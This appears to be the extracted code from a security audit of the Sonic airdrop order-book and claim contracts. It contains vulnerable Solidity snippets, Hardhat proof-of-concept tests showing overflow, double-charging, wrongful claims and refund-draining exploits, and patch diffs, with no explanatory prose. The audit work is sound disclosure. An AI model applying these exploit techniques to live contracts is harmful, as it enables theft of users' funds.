Sonic Airdrop Contracts

segment = bytes32(  (uint256(segment) & ~(uint256(0xffffff) << (slot * SEGMENT_SIZE + ORDER_ID_SIZE))) | // clear out the old value    (newNormalizedQuantity << (slot * SEGMENT_SIZE + ORDER_ID_SIZE)) // plugin the new value);

// storedNormalizedQuantity = AA_BB_CC_DD
AA_BB_CC_DD -->AA_00_00_00 -->AA_00_00_00 | newNormalizedQuantity

it("POC", async function () {    const {orderBook, tokenId, alice, priceTick} = await loadFixture(deployContractsFixture);    const price = ethers.parseEther("0.01");    let quantity = ethers.parseEther("167772.16"); // 0xffffff + 1    let limitOrders = [      {        side: OrderSide.Buy,        tokenId,        price,        quantity      }    ];
    await orderBook.limitOrders(limitOrders, RETURN_WRAPPED_SONIC);    let orders = await orderBook.allOrdersAtPrice(OrderSide.Buy, tokenId, price);    console.log(orders);  // 167772.16e18    quantity = ethers.parseEther("0.01");    limitOrders = [      {        side: OrderSide.Sell,        tokenId,        price,        quantity      }    ];    await orderBook.limitOrders(limitOrders, RETURN_WRAPPED_SONIC);    orders = await orderBook.allOrdersAtPrice(OrderSide.Buy, tokenId, price);    console.log(orders); // 335544.31e18
  });

library SegmentSlotLib {  //...  function updateNQ(    bytes32 segment,    uint256 slot,    uint32 normalizedQuantity  ) internal pure returns (bytes32 newSegment) {    assembly ("memory-safe") {      // we are assuming here that the addition and multiplication below      // would not overflow since `NUM_SLOTS_PER_SEGMENT` is vert small      let shiftAmount := add(ORDER_ID_SIZE, mul(slot, SEGMENT_SIZE))
      /*   ...   slot_j   ... = segment       *   ... [ nq, oid] ... -->       *   ... [  0, oid] ... -->       *   ... [nq', oid] ...       */      newSegment := or(        // clear out the old normalized quantity value        and(          segment,          not(shl(shiftAmount, QUANTITY_MASK))        ),        // plug in the new value        shl(shiftAmount, normalizedQuantity)      )    }  }}

// Check if last segment is full      if (        (segmentsPriceMap[price].length - tombstoneOffset) * NUM_SLOTS_PER_SEGMENT >= _maxOrdersPerPrice &&        lastSegmentFilled      ) {        // Loop until we find a suitable place to put this        while (true) {          unchecked {            price = SafeCast.toUint64(uint128(int128(uint128(price)) + priceTick));          }

if (orders[i].side == OrderSide.Buy) {        unchecked {          quoteTokensToUs += cost + (uint256(orders[i].price) * quantityAddedToBook) / BASE_DECIMAL_DIVISOR;        }

function cancelAndMakeLimitOrders(    uint48[] calldata orderIds,    CancelOrder[] calldata orders,    LimitOrder[] calldata newOrders,    bool returnWrappedS  ) external payable nonReentrant {    address sender = _msgSender();
    (uint256 amountRefunded, uint256[] memory nftIdsFromUs, uint256[] memory nftAmountsFromUs) = _cancelOrders(      sender,      orderIds,      orders    );    (uint256 fees, uint256 quoteTokensToUs, uint256 quoteTokensFromUs) = _limitOrders(sender, newOrders);
    if (nftIdsFromUs.length != 0) {      _safeBatchTransferNFTsFromUs(sender, nftIdsFromUs, nftAmountsFromUs);    }
    bool quoteTokenIsS = _quoteToken == _wS;    uint256 value = msg.value;    if (quoteTokenIsS) {      value += amountRefunded;    }
    _resolveQuoteTokens(sender, fees, quoteTokensToUs, quoteTokensFromUs, value, returnWrappedS);  }

it("POC", async function () {      const {orderBook, tokenId, owner, quoteToken} = await loadFixture(deployContractsFixture);
      // Set up order book      const price = ethers.parseEther("8");      const quantity = ethers.parseEther("100");      const initBal = await quoteToken.balanceOf(owner);      console.log(initBal);      await orderBook.limitOrders(        [          {            side: OrderSide.Buy,            tokenId,            price,            quantity          }        ],        RETURN_WRAPPED_SONIC      );      const bal1 = await quoteToken.balanceOf(owner);      console.log(initBal - bal1); // 800e18      const newOrder = {        side: OrderSide.Buy,        tokenId,        price: price,        quantity: quantity + ethers.parseEther("2")      };      await orderBook.cancelAndMakeLimitOrders(        [1],        [{side: OrderSide.Buy, tokenId, price}],        [newOrder],        RETURN_WRAPPED_SONIC      );      const bal2 = await quoteToken.balanceOf(owner);      console.log(initBal - bal2); // 1616e18    });

function cancelAndMakeLimitOrders(    uint48[] calldata orderIds,    CancelOrder[] calldata orders,    LimitOrder[] calldata newOrders,    bool returnWrappedS  ) external payable nonReentrant {    address sender = _msgSender();    (uint256 amountRefunded, uint256[] memory nftIdsFromUs, uint256[] memory nftAmountsFromUs) = _cancelOrders(      sender,      orderIds,      orders    );    (uint256 fees, uint256 quoteTokensToUs, uint256 quoteTokensFromUs) = _limitOrders(sender, newOrders);    if (nftIdsFromUs.length != 0) {      _safeBatchTransferNFTsFromUs(sender, nftIdsFromUs, nftAmountsFromUs);    }+.  uint256 value = msg.value;+   if (quoteTokensToUs > amountRefunded) {+     quoteTokensToUs -= amountRefunded;+   } else { +     quoteTokensFromUs += amountRefunded - quoteTokensToUs; +     quoteTokensToUs = 0;+   }-   bool quoteTokenIsS = _quoteToken == _wS;-   if (quoteTokenIsS) {-     value += amountRefunded;-   }    _resolveQuoteTokens(sender, fees, quoteTokensToUs, quoteTokensFromUs, value, returnWrappedS);  }

if (cost != 0) {          // Transfer the NFTs taken from the order book straight to the taker          nftIdsFromUs[nftLengthFromUs] = orders[i].tokenId;          nftAmountsFromUs[nftLengthFromUs++] = orders[i].quantity - quantityAddedToBook;        }

it("POC", async function () {    const {orderBook, tokenId, alice, sonicAirdropNFT, priceTick, quoteToken} = await loadFixture(deployContractsFixture);    const minQuantity = ethers.parseEther("5");    const isTradeable = true;    await orderBook.setTokenIdInfos([tokenId],[{priceTick, minQuantity, isTradeable}]);    const price = ethers.parseEther("8");    let quantity = ethers.parseEther("7");    let limitOrders = [      {        side: OrderSide.Sell,        tokenId,        price : price + ethers.parseEther("1"),        quantity      },      {        side: OrderSide.Sell,        tokenId,        price,        quantity      }    ];
    await orderBook.limitOrders(limitOrders, RETURN_WRAPPED_SONIC);
    quantity = ethers.parseEther("10");    limitOrders = [      {        side: OrderSide.Buy,        tokenId,        price: price,        quantity      }    ]    let NftBalBefore = await sonicAirdropNFT.balanceOf(alice, tokenId);    let CoinBalBefore = await quoteToken.balanceOf(alice);
    await orderBook.connect(alice).limitOrders(limitOrders, RETURN_WRAPPED_SONIC);    let NftBalAfter = await sonicAirdropNFT.balanceOf(alice, tokenId);    let CoinBalAfter = await quoteToken.balanceOf(alice);
    console.log(NftBalAfter-NftBalBefore); // 10e18    console.log(CoinBalBefore-CoinBalAfter); // 56e18  });

-         nftAmountsFromUs[nftLengthFromUs++] = orders[i].quantity - quantityAddedToBook;+         nftAmountsFromUs[nftLengthFromUs++] = orders[i].quantity - quantityAddedToBook - failedQuantity;

_tokenClaimables[newOrderId] = ClaimableTokenInfo({      maker: sender,      tokenId: uint8(OrderSide.Buy == side ? tokenId : 0),      amount: 0    });

function _claimTokens(address sender, uint48[] calldata orderIds, bool returnWrappedS) private {    require(orderIds.length <= MAX_CLAIMABLE_ORDERS, ClaimingTooManyOrders());
    uint256 amount;    for (uint256 i = 0; i < orderIds.length; ++i) {      ClaimableTokenInfo storage claimableTokenInfo = _tokenClaimables[orderIds[i]];      uint256 claimableAmount = claimableTokenInfo.amount;      require(claimableAmount != 0, NothingToClaim());      require(claimableTokenInfo.maker == sender, NotMaker());
      claimableTokenInfo.amount = 0;      amount += claimableAmount;    }

it("POC", async function () {        const {orderBook, owner, alice, tokenId} = await loadFixture(deployContractsFixture);
        // Set up order book        const price = ethers.parseEther("8");        const quantity = ethers.parseEther("100");        await orderBook.limitOrders(          [            {              side: OrderSide.Buy,              tokenId,              price,              quantity            }          ],          RETURN_WRAPPED_SONIC        );        await orderBook.connect(alice).limitOrders(          [            {              side: OrderSide.Sell,              tokenId,              price,              quantity: ethers.parseEther("10")            }          ],          RETURN_WRAPPED_SONIC        );
        const orderId = 1;        expect(await orderBook.tokensClaimable([orderId])).to.eq(0);        expect(await orderBook.tokensClaimable([orderId + 1])).to.eq(0);        expect((await orderBook.nftsClaimable([orderId]))[0]).to.eq(ethers.parseEther("10"));        expect((await orderBook.nftsClaimable([orderId + 1]))[0]).to.eq(0);
        // claim as the maker        await expect(orderBook.claimTokens([orderId], false))          .to.emit(orderBook, "ClaimedTokens")          .withArgs(owner.address, [orderId], ethers.parseEther("10"));      });

for (uint256 i = 0; i < orderIds.length; ++i) {      ClaimableTokenInfo storage claimableTokenInfo = _tokenClaimables[orderIds[i]];      uint256 claimableAmount = claimableTokenInfo.amount;      require(claimableAmount != 0, NothingToClaim());+     require(claimableTokenInfo.tokenId == 0, NothingToClaim());      require(claimableTokenInfo.maker == sender, NotMaker());

function _resolveQuoteTokens(    address sender,    uint256 fees,    uint256 quoteTokensToUs,    uint256 quoteTokensFromUs,    uint256 value,    bool returnWrappedS  ) private {    if (value > quoteTokensToUs) {      // Refund to the user      unchecked {        quoteTokensFromUs += value - quoteTokensToUs;      }      value = quoteTokensToUs;    }
    if (quoteTokensToUs != 0) {      _safeTransferCoinsToUs(sender, value, quoteTokensToUs);    }
    if (quoteTokensFromUs != 0) {      _safeTransferCoinsFromUs(sender, quoteTokensFromUs, returnWrappedS);    }
    _sendFees(fees);  }

function marketOrder(MarketOrder calldata order, bool returnWrappedS) external payable nonReentrant {    ...    } else {      require(cost >= order.totalCost, TotalCostConditionNotMet());
      // Transfer tokens to the seller if any have sold      quoteTokensFromUs = cost - fees;      quoteTokensToUs = 0;    }
    _resolveQuoteTokens(sender, fees, quoteTokensToUs, quoteTokensFromUs, msg.value, returnWrappedS);

function _resolveQuoteTokens(    address sender,    uint256 fees,    uint256 quoteTokensToUs,    uint256 quoteTokensFromUs,    uint256 value,    bool returnWrappedS  ) private {    if (value > quoteTokensToUs) {      // Refund to the user      unchecked {        quoteTokensFromUs += value - quoteTokensToUs;      }      value = quoteTokensToUs;    }
    if (quoteTokensToUs != 0) {      _safeTransferCoinsToUs(sender, value, quoteTokensToUs);    }
    if (quoteTokensFromUs != 0) {      _safeTransferCoinsFromUs(sender, quoteTokensFromUs, returnWrappedS);    }
    _sendFees(fees);  }

it("POC", async function () {      const {orderBook, alice, tokenId, quoteToken} = await loadFixture(deployContractsFixture);
      // Set up order book      const price = ethers.parseEther("8");      const quantity = ethers.parseEther("100");      await orderBook.limitOrders(        [          {            side: OrderSide.Buy,            tokenId,            price,            quantity          }        ],        RETURN_WRAPPED_SONIC      );      let CoinBalBefore = await quoteToken.balanceOf(alice);      await orderBook.connect(alice).marketOrder(        {          side: OrderSide.Sell,          tokenId,          totalCost: 0, // total totalCost is too high          quantity: ethers.parseEther("10")        },        RETURN_WRAPPED_SONIC,        {value: ethers.parseEther("700")}      );      let CoinBalAfter = await quoteToken.balanceOf(alice);      console.log(CoinBalAfter-CoinBalBefore); // 779.76e18    });

function _resolveQuoteTokens(    address sender,    uint256 fees,    uint256 quoteTokensToUs,    uint256 quoteTokensFromUs,    uint256 value,    bool returnWrappedS  ) private {-   if (value > quoteTokensToUs) {+   if (_quoteToken == _wS && value > quoteTokensToUs) {      // Refund to the user      unchecked {        quoteTokensFromUs += value - quoteTokensToUs;      }      value = quoteTokensToUs;-   }+   } else if (_quoteToken != _wS){+	  require(value == 0);+   }    if (quoteTokensToUs != 0) {      _safeTransferCoinsToUs(sender, value, quoteTokensToUs);    }    if (quoteTokensFromUs != 0) {      _safeTransferCoinsFromUs(sender, quoteTokensFromUs, returnWrappedS);    }    _sendFees(fees);  }

/** * @dev Returns the used capacity of a specific price level in the market. * The used capacity is determined by the number of segments at that price level, * minus the number of tombstones (inactive slots), and then multiplied by the number of slots per segment. * * @param tree The Red-Black Tree containing the prices and their associated nodes. * @param segmentsPriceMap A mapping from each price to its segments, where each segment is an array of bytes32 representing the slots at that price level. * @param price The price level for which to retrieve the used capacity. * * @return uint256 The used capacity of the specified price level in the market. */function _getPriceLevelUsedCapacity(  BokkyPooBahsRedBlackTreeLibrary.Tree storage tree,  mapping(uint256 price => bytes32[]) storage segmentsPriceMap,  uint64 price) internal view returns (uint256) {  // below already checks whether the price exists in the tree  uint256 tombstoneOffset = tree.getNode(price).tombstoneOffset;  return (segmentsPriceMap[price].length - tombstoneOffset) * NUM_SLOTS_PER_SEGMENT;}

diff --git a/contracts/SonicOrderBook.sol b/contracts/SonicOrderBook.solindex b3bb01a..cbda90b 100644--- a/contracts/SonicOrderBook.sol+++ b/contracts/SonicOrderBook.sol@@ -947,7 +947,6 @@ contract SonicOrderBook is     if (!tree.exists(price)) {       tree.insert(price);     } else {-      uint256 tombstoneOffset = tree.getNode(price).tombstoneOffset;       // Check if this would go over the max number of orders allowed at this price level       bool lastSegmentFilled = (         (uint256(@@ -957,7 +956,7 @@ contract SonicOrderBook is        // Check if last segment is full       if (-        (segmentsPriceMap[price].length - tombstoneOffset) * NUM_SLOTS_PER_SEGMENT >= _maxOrdersPerPrice &&+        _getPriceLevelUsedCapacity(tree, segmentsPriceMap, price) >= _maxOrdersPerPrice &&         lastSegmentFilled       ) {         // Loop until we find a suitable place to put this@@ -969,7 +968,7 @@ contract SonicOrderBook is             tree.insert(price);             break;           } else if (-            (segmentsPriceMap[price].length - tombstoneOffset) * NUM_SLOTS_PER_SEGMENT < _maxOrdersPerPrice ||+            _getPriceLevelUsedCapacity(tree, segmentsPriceMap, price) < _maxOrdersPerPrice ||             (               (uint256(                 segmentsPriceMap[price][segmentsPriceMap[price].length - 1] >>

slots                      segment indices--------<--------------------+-----------------... [Q, O] [Q, O] [Q, O] ...   0... [Q, O] [Q, O] [Q, O] ...   1...     ... slot_k slot_m slot_n ...   segments.length - 1 == tombstoneOffset

slots                      segment indices--------<--------------------+-----------------... [Q, O] [Q, O] [Q, O] ...   0... [Q, O] [Q, O] [Q, O] ...   1...     ... slot_k slot_m [0, 0] ...   segments.length - 1 == tombstoneOffset

diff --git a/contracts/SonicOrderBook.sol b/contracts/SonicOrderBook.solindex b3bb01a..6fef482 100644--- a/contracts/SonicOrderBook.sol+++ b/contracts/SonicOrderBook.sol@@ -479,6 +479,14 @@ contract SonicOrderBook is     }   } +  function getSegments(OrderSide side, uint256 tokenId, uint64 price) external view returns (bytes32[] memory) {+    if (side == OrderSide.Buy) {+      return _bidsAtPrice[tokenId][price];+    } else {+      return _asksAtPrice[tokenId][price];+    }+  }+   /// @notice Get all orders at a specific price level   /// @param side The side of the order book to get orders from   /// @param tokenId The token ID to get orders fordiff --git a/test/sonicOrderBook/SonicOrderBook.ts b/test/sonicOrderBook/SonicOrderBook.tsindex b7aaf51..be252f1 100644--- a/test/sonicOrderBook/SonicOrderBook.ts+++ b/test/sonicOrderBook/SonicOrderBook.ts@@ -4472,6 +4472,94 @@ describe("SonicOrderBook", function () {     });   }); +  it("PoC - order placed in the inactive tombstoned area", async function () {+    const {orderBook, owner, tokenId, quoteToken, sonicAirdropNFT, priceTick, initialCoins} =+      await loadFixture(deployContractsFixture);++    await quoteToken.mint(owner, initialCoins * 30n);+    await quoteToken.approve(orderBook, initialCoins * 30n);++    const price = ethers.parseEther("1");+    const quantity = ethers.parseEther("10");++    await sonicAirdropNFT.mintSpecificId(tokenId, quantity * 40n);++    async function logSegments(side: OrderSide, tokenId: number, price: bigint) {+      let segments = await orderBook.getSegments(side, tokenId, price);+      console.log(segments);+    }++    await logSegments(OrderSide.Sell, tokenId, price);++    await orderBook.limitOrders(+      [+        {+          side: OrderSide.Sell,+          tokenId,+          price: price,+          quantity+        },+        {+          side: OrderSide.Sell,+          tokenId,+          price: price,+          quantity+        },+        {+          side: OrderSide.Sell,+          tokenId,+          price: price,+          quantity+        }+      ],+      RETURN_WRAPPED_SONIC+    );++    await logSegments(OrderSide.Sell, tokenId, price);++    await orderBook.limitOrders(+      [+        {+          side: OrderSide.Buy,+          tokenId,+          price: price,+          quantity: quantity+        }+      ],+      RETURN_WRAPPED_SONIC+    );++    await logSegments(OrderSide.Sell, tokenId, price);++    await orderBook.limitOrders(+      [+        {+          side: OrderSide.Buy,+          tokenId,+          price: price,+          quantity: quantity * 2n+        }+      ],+      RETURN_WRAPPED_SONIC+    );++    await logSegments(OrderSide.Sell, tokenId, price);++    await orderBook.limitOrders(+      [+        {+          side: OrderSide.Sell,+          tokenId,+          price: price,+          quantity+        },+      ],+      RETURN_WRAPPED_SONIC+    );++    await logSegments(OrderSide.Sell, tokenId, price);+  });+   it("System test (many orders)", async function () {     const {orderBook, owner, tokenId, quoteToken, sonicAirdropNFT, priceTick, initialCoins} =       await loadFixture(deployContractsFixture);

yarn test -- --grep "PoC"

Result(0) []Result(1) [  '0x0000000003e8000000000003000003e8000000000002000003e8000000000001']Result(1) [  '0x0000000003e8000000000003000003e800000000000200000000000000000000']Result(1) [  '0x0000000003e8000000000003000003e800000000000200000000000000000000']Result(1) [  '0x0000000003e8000000000003000003e8000000000002000003e8000000000004']

uint256 remainingSegment = uint256(lastSegment) >> (slot * SEGMENT_SIZE)

(uint256 amountRefunded, uint256[] memory nftIdsFromUs, uint256[] memory nftAmountsFromUs) = _cancelOrders(      sender,      orderIds,      orders    );    (uint256 fees, uint256 quoteTokensToUs, uint256 quoteTokensFromUs) = _limitOrders(sender, newOrders);
    if (nftIdsFromUs.length != 0) {      _safeBatchTransferNFTsFromUs(sender, nftIdsFromUs, nftAmountsFromUs);    }

if (nftLengthToUs != 0) {      assembly ("memory-safe") {        mstore(nftIdsToUs, nftLengthToUs)        mstore(nftAmountsToUs, nftLengthToUs)      }      _safeBatchTransferNFTsToUs(sender, nftIdsToUs, nftAmountsToUs);    }

it("POC", async function () {      const {orderBook, tokenId, priceTick, owner} = await loadFixture(deployContractsFixture);
      // initialQuantity 120e18      const price = ethers.parseEther("8");      const quantity = ethers.parseEther("60");
      // make 60e18 limit order      await orderBook.limitOrders(        [          {            side: OrderSide.Sell,            tokenId,            price,            quantity          }        ],        RETURN_WRAPPED_SONIC      );
      const newOrder = {        side: OrderSide.Sell,        tokenId,        price: price - priceTick,        quantity: quantity + ethers.parseEther("2")      };
      // cancel and make new 62e18 limit order, failed due to ERC1155InsufficientBalance      await orderBook.cancelAndMakeLimitOrders(        [1],        [{side: OrderSide.Sell, tokenId, price}],        [newOrder],        RETURN_WRAPPED_SONIC      );    });  });

(uint256 amountRefunded, uint256[] memory nftIdsFromUs, uint256[] memory nftAmountsFromUs) = _cancelOrders(      sender,      orderIds,      orders    );-   (uint256 fees, uint256 quoteTokensToUs, uint256 quoteTokensFromUs) = _limitOrders(sender, newOrders);    if (nftIdsFromUs.length != 0) {      _safeBatchTransferNFTsFromUs(sender, nftIdsFromUs, nftAmountsFromUs);    }+   (uint256 fees, uint256 quoteTokensToUs, uint256 quoteTokensFromUs) = _limitOrders(sender, newOrders);

cancelAndMakeLimitOrders =1. cancelOrders2. limitOrders

const priceTick = ethers.parseUnits("0.0001", decimals);

} else {            uint256 fees = _calcFees(tradeCost);            claimableTokenInfo.amount += uint88(tradeCost - fees);          }

} else {            uint256 fees = _calcFees(tradeCost);            claimableTokenInfo.amount += uint88(tradeCost - fees);          }...  function marketOrder(MarketOrder calldata order, bool returnWrappedS) external payable nonReentrant {    // Must fufill the order and be below the total cost (or above depending on the side)    uint256 quoteTokensToUs;    uint256 quoteTokensFromUs;    address sender = _msgSender();
    uint48[] memory orderIdsPool = new uint48[](MAX_ORDERS_HIT);    uint256[] memory quantitiesPool = new uint256[](MAX_ORDERS_HIT);
    uint256 cost = _makeMarketOrder(sender, order, orderIdsPool, quantitiesPool);    bool isBuy = order.side == OrderSide.Buy;    uint256 fees = _calcFees(cost);

it("POC", async function () {    const {orderBook, owner, alice, dev, tokenId, quoteToken, ONE_QUOTE_TOKEN, priceTick} =      await loadFixture(deployContractsFixture);    const sellOrdesCount = ethers.parseUnits("5",0);    const price = ONE_QUOTE_TOKEN + priceTick; // 1.0001 USDC    const quantity = ethers.parseEther("1") + ethers.parseEther("0.01"); // 1.01e18    const totalCost = (price * quantity * sellOrdesCount) / ethers.parseEther("1");    await quoteToken.mint(alice, totalCost);    await quoteToken.connect(alice).approve(orderBook, totalCost);
    await orderBook.connect(owner).limitOrders(      [        {          side: OrderSide.Sell,          tokenId,          price,          quantity        },{          side: OrderSide.Sell,          tokenId,          price,          quantity        },{          side: OrderSide.Sell,          tokenId,          price,          quantity        },{          side: OrderSide.Sell,          tokenId,          price,          quantity        },{          side: OrderSide.Sell,          tokenId,          price,          quantity        }      ],      DONT_RETURN_WRAPPED_SONIC    );    await orderBook.connect(alice).limitOrders(      [        {          side: OrderSide.Buy,          tokenId,          price,          quantity : quantity * sellOrdesCount        }      ],      DONT_RETURN_WRAPPED_SONIC    );    console.log(totalCost); // 5050505    const tc = await orderBook.tokensClaimable([1,2,3,4,5]);    console.log(tc);  // 5035355    const bal = await quoteToken.balanceOf(orderBook);    console.log(bal); // 5035354    await orderBook.connect(owner).claimTokens([1,2,3,4,5], DONT_RETURN_WRAPPED_SONIC); // reverted with custom error 'ERC20InsufficientBalance  });

uint128 instant;    uint128 locked;    unchecked {      instant = (amount * theSeason.instantClaimBps) / SonicMetadata.SCALING_FACTOR;      locked = amount - instant; // <--- potential underflow    }

instantClaimBps < MAX_INSTANT_CLAIM_BPS < SonicMetadata.SCALING_FACTOR

// SPDX-License-Identifier: MITpragma solidity ^0.8.29;
import {Test} from "forge-std/Test.sol";import {BokkyPooBahsRedBlackTreeLibrary as RBT} from "../contracts/libraries/BokkyPooBahsRedBlackTreeLibrary.sol";
/** * In the test diagrams the nodes N with `o` N(o) represent * black nodes and the ones with `x`, N(x) represent red nodes */contract BokkyPooBahsRedBlackTreeLibraryTest is Test {    using RBT for RBT.Tree;
    RBT.Tree public tree;    uint64 private constant EMPTY = 0;    function setUp() public {            }
    /**     *        1(o)     *          \     *          2(x) <--- remove     */    function testRemove1() public {        tree.root = 1;        tree.nodes[1] = RBT.Node({            parent: EMPTY,            left: EMPTY,            right: 2,            red: false,            tombstoneOffset: 0        });        tree.nodes[2] = RBT.Node({            parent: 1,            left: EMPTY,            right: EMPTY,            red: true,            tombstoneOffset: 0        });
        tree.remove(2);
        _assertSameBlackPathNumber(tree.root);        _assertEMPTYNodeIsIsolatedAndBlack();        _assertNoRedNodesAreConnected();    }
    /**     *        1(o)     *          \     *          2(x) <--- remove     *     * Generally this corresponds to the following situation     *          |      *          p     *          |     *          n <--- remove     *         /  \     *        ∅    ∅     *     * There is another general case that is not tested here:     *     *         p     *         |     *         k <--- remove     *        / \     *       L0  R0     *           /     *         L1     *         /     *       ...     *       /     *      L_{n-1} <-- p     *     /     *    Ln <-- c     *   / \      *  ∅   ∅ <-- probe       */    function testRemove() public {        tree.insert(1);        tree.insert(2);        tree.remove(2);
        _assertSameBlackPathNumber(tree.root);        _assertEMPTYNodeIsIsolatedAndBlack();        _assertNoRedNodesAreConnected();    }
    /**     *            ∅     *            |     *           ∅(o)     *           / \     *          ∅   ∅     */    function _assertEMPTYNodeIsIsolatedAndBlack() internal {        // EMPTY should have EMPTY parent at all times        // otherwise one needs to make sure, the parent of an EMPTY        // Node is not accessed by mistake.                _assertEMPTYNodeIsNotRed();        _assertEMPTYNodeHasEMPTYLeftChild();        _assertEMPTYNodeHasEMPTYRightChild();        _assertEMPTYNodeHasEMPTYParent();        _assertEMPTYNodeHashZeroTombstoneOffset();    }
    function _assertEMPTYNodeIsNotRed() internal {        vm.assertEq(tree.nodes[EMPTY].red, false, "EMPTY node is RED");    }
    function _assertRootIsNoteRed() internal {        vm.assertEq(tree.nodes[tree.root].red, false, "ROOT node is RED");    }
    function _assertEMPTYNodeHasEMPTYParent() internal {        vm.assertEq(tree.nodes[EMPTY].parent, EMPTY, "EMPTY node has a non-EMPTY parent");    }
    function _assertEMPTYNodeHasEMPTYLeftChild() internal {        vm.assertEq(tree.nodes[EMPTY].left, EMPTY, "EMPTY node has a non-EMPTY left child");    }
    function _assertEMPTYNodeHasEMPTYRightChild() internal {        vm.assertEq(tree.nodes[EMPTY].right, EMPTY, "EMPTY node has a non-EMPTY right child");    }
    function _assertEMPTYNodeHashZeroTombstoneOffset() internal {        vm.assertEq(tree.nodes[EMPTY].tombstoneOffset, 0, "EMPTY node has a non-ZERO `tombstoneOffset`");    }
    function _assertNoRedNodesAreConnected() internal {        uint64 root = tree.root;        RBT.Node storage rootNode = tree.nodes[root];        // the root node should always be BLACK        vm.assertEq(rootNode.red, false, "root node is RED");
        _assertNoRedNodesAreConnectedInTheSubTree(root);    }    function _assertNoRedNodesAreConnectedInTheSubTree(uint64 key) internal {        if (key == EMPTY) {            _assertEMPTYNodeIsIsolatedAndBlack();            return;        }                RBT.Node storage currNode = tree.nodes[key];        uint64 left = currNode.left;        uint64 right = currNode.right;        RBT.Node storage leftChild = tree.nodes[left];        RBT.Node storage rightChild = tree.nodes[right];
        if (currNode.red) {            vm.assertEq(leftChild.red, false, "Two RED nodes are connected");            vm.assertEq(rightChild.red, false, "Two RED nodes are connected");        }
        _assertNoRedNodesAreConnectedInTheSubTree(left);        _assertNoRedNodesAreConnectedInTheSubTree(right);    }
    function _assertSameBlackPathNumber(uint64 key) internal returns (uint256 num) {        if (key == EMPTY) {            return 1;        }
        RBT.Node storage currNode = tree.nodes[key];        uint256 leftPathValue = _assertSameBlackPathNumber(currNode.left);        uint256 rightPathValue = _assertSameBlackPathNumber(currNode.right);
        vm.assertEq(leftPathValue, rightPathValue, "Number of BLACK nodes from the current node to its leaf nodes do NOT match.");                return currNode.red ? leftPathValue : leftPathValue + 1;    }}

function removeFixup(Tree storage self, uint64 key) private {    uint64 cursor;    while (key != self.root && !self.nodes[key].red) {      uint64 keyParent = self.nodes[key].parent; // <--- key could be `EMPTY`

diff --git a/contracts/libraries/BokkyPooBahsRedBlackTreeLibrary.sol b/contracts/libraries/BokkyPooBahsRedBlackTreeLibrary.solindex 07bb4bc..783e369 100644--- a/contracts/libraries/BokkyPooBahsRedBlackTreeLibrary.sol+++ b/contracts/libraries/BokkyPooBahsRedBlackTreeLibrary.sol@@ -172,6 +172,9 @@ library BokkyPooBahsRedBlackTreeLibrary {     }     // Don't delete the node, so that we can re-use the tombstone offset if re-adding this price     self.nodes[cursor].parent = EMPTY;++    // reset the EMPTY node's parent. Might be cheaper to `delete` vs reseting the parent field+    delete self.nodes[EMPTY];   }    function treeMinimum(Tree storage self, uint64 key) private view returns (uint64) {

} else if (what == For.Unlocking) {      uint40 startTime = theSeason.startTime;      require(startTime <= _now(), SeasonClaimNotStarted(season, startTime));      uint40 lockedBurnTime = theSeason.lockedBurnTime;      require(lockedBurnTime >= _now(), SeasonUnlocksEnded(season, lockedBurnTime));

if (_seasons[Season(seasonId)].lockedBurnTime <= _now()) {      return 0;    }

-   if (_seasons[Season(seasonId)].lockedBurnTime <= _now()) {+   if (_seasons[Season(seasonId)].lockedBurnTime < _now()) {      return 0;    }